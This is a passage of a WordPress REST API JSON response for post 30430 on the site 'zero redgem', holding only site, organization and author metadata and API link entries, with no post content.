redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30430","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=30430"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/30430\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=30430"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=30430"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=30430"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}